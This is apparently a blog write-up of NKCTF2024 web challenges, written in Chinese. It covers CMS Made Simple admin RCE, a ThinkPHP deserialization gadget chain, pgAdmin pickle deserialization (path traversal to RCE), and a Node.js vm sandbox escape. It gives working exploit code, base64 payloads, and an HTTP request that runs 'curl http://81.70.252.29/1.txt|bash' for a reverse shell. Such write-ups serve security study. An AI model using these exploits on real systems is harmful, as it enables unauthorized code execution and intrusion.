NKCTF2024-WEB-gxngxngxn

WEB

my first cms

cms made simple 2.2.19

参考:GitHub - capture0x/CMSMadeSimple

后台有个rce漏洞

访问/admin路由直接爆破弱口令

得到admin/Admin123

然后访问

admin/editusertag.php

修改为:

<?php echo system('cat /_fffff1@g'); ?>

得到flag

用过就是熟悉

拿到源码进行审计

看到引入了tp框架

在登录的地方有很明显的反序列化点

接下来就是找tp的链子:

先找入口点: __destruct()

找到这里会调用removeFiles,跟进函数

看到这里会把$this->files当成字符串拼接,可以触发toString

跟进toJson,会调用toArray

看到toArray可以调用一个不可访问的属性,可以触发__get

看到这里只有一个__get魔术方法,可以触发__call

看到这里的__call可以读取hint文件,那么终点就是这里了

直接写exp:

<?php

namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;

class Collection {
    public $item;
}
namespace think\process\pipes;

use PHPEMS\item_weixin;
use think\Collection;
use think\Process;

class Windows {
    public $files;
}

namespace think;

class View
{
    public $data;
    public $engine;
}


namespace think;

use think\exception\ClassNotFoundException;
use think\response\Redirect;

class Debug extends Testone
{

}
namespace think;
abstract class Testone
{

}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("loginout"=>new \think\Debug());
$A -> files[0]-> items->engine = array("time"=>"10086");
echo base64_encode(serialize($A));

payload:

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjU6ImZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjU6Iml0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjQ6ImRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ==

接着我们注意到文件名是以时间戳的md5以后重新生成的,那么我们不断发包爆破即可:

import time
import hashlib
import requests
url="http://7f18d7c7-788d-4e80-9626-ecdadda7673e.node.nkctf.yuzhian.com.cn/app/controller/user/think/"
while(1):
 a = str(int(time.time())).encode('utf-8')
 hash_object = hashlib.md5(a)
 md5_hash = hash_object.hexdigest()
 #print(url+md5_hash)
 re1=requests.get(url+md5_hash)
 print(url+md5_hash)
 if 'kodbox' not in re1.text:
  print(re1.text)
  break

先不断的发送访问文件的请求,然后bp不断发送请求包(相当于不断的生成文件)

得到hint的内容:

亲爱的Chu0,

我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。

在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。

或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。



<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>



而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。

你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。

或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。



POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close

name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit

hint: 新建文件

这里提示我们guest的密码就是明文+Chu0,那么如何得到明文?

注意到这里有段解密逻辑,我们本地调试,将hint中的包提交试试

得到密码明文,接着使用

guest/!@!@!@!@NKCTFChu0

登录即可

由于是最新版的可道云,就不考虑本身存在的漏洞了,在回收站找到一个新建文件.html的文件,里面提示var/www/html/data/files/shell这里有个一句话木马,那么就想办法包含这个文件

在think\Config.php中找到__call

这里可以包含,而且这里的过滤就是一个摆设,一点用没有

直接改下exp:

<?php

namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;

class Collection {
    public $items;
}
namespace think\process\pipes;

use PHPEMS\item_weixin;
use think\Collection;
use think\Process;

class Windows {
    public $files;
}

namespace think;

class View
{
    public $data;
    public $engine;
}

namespace think;
class Config{
}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("Loginout"=>new \think\Config());
$A -> files[0]-> items->engine = array("name"=>"../../../../../../../../../var/www/html/data/files/shell");
echo base64_encode(serialize($A));

接着发包即可:

POST /?user/index/loginSubmit HTTP/1.1
Host: 4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 524
Origin: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn
Connection: close
Referer: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn/
Cookie: KOD_SESSION_ID=64c270bccb5c05527633e83a39335ff8; CSRF_TOKEN=7G373pfZFetxc4CY

name=guest&password=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjU6ImZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjU6Iml0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjQ6ImRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMjoidGhpbmtcQ29uZmlnIjowOnt9fXM6NjoiZW5naW5lIjthOjE6e3M6NDoibmFtZSI7czo1NjoiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2RhdGEvZmlsZXMvc2hlbGwiO319fX19&rememberPassword=0&salt=1&CSRF_TOKEN=7G373pfZFetxc4CY&API_ROUTE=user%2Findex%2FloginSubmit&0=system('curl http://81.70.252.29/1.txt|bash');

成功弹shell,得到flag

attack_tacooooo

参考:屏蔽器 - pgAdmin (<=8.3) 会话处理中的路径遍历会导致不安全的反序列化和远程代码执行 (RCE) (shielder.com)

其实就是打一个pickle反序列化

登录:tacooooo@qq.com/tacooooo

import struct
import sys
import pickle
import base64
class A(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('cat /proc/1/environ > /var/lib/pgadmin/storage/tacooooo_qq.com/1.txt')",))
poc = A()
result = pickle.dumps(poc)
if __name__ == '__main__':
    with open('C:\\Users\\86183\\Desktop\\posix.pickle', 'wb') as f:
        f.write(result)

提示没有curl和bash,那么就可以通过写文件,通过抓包上传文件得到上传文件的路径

/var/lib/pgadmin/storage/tacooooo_qq.com/

直接上传posix.pickle,然后修改cookie

pga4_session=/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!+DrpP6qW8K+12X2dzDyM0fdW/0o6ePTPKEZYaF4sr7s=;

然后访问下载1.txt即可得到flag

全世界最简单的CTF

拿到源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

可以看到vm逃逸 bypass,可以看到过滤关键字的时候对大小写敏感

所以我们可以利用toLowerCase()函数来绕过部分,然后利用反射调用的方式来获取exec

payload:

throw new Proxy({}, {

  get: function(){

  const cc = arguments.callee.caller;

   const aa = 'return Process'.toLowerCase();

   const bb = 'child_pRocess'.toLowerCase();

   const p = (cc.constructor.constructor(aa))().mainModule.require(bb);

    return Reflect.get(Reflect.get(p, Reflect.ownKeys(p).find(x=>x.startsWith('ex')))('ls'));

  }

})

成功弹shell,执行/readflag获得flag

posted @ 2024-03-24 22:41  gxngxngxn  阅读(240)  评论(0编辑  收藏  举报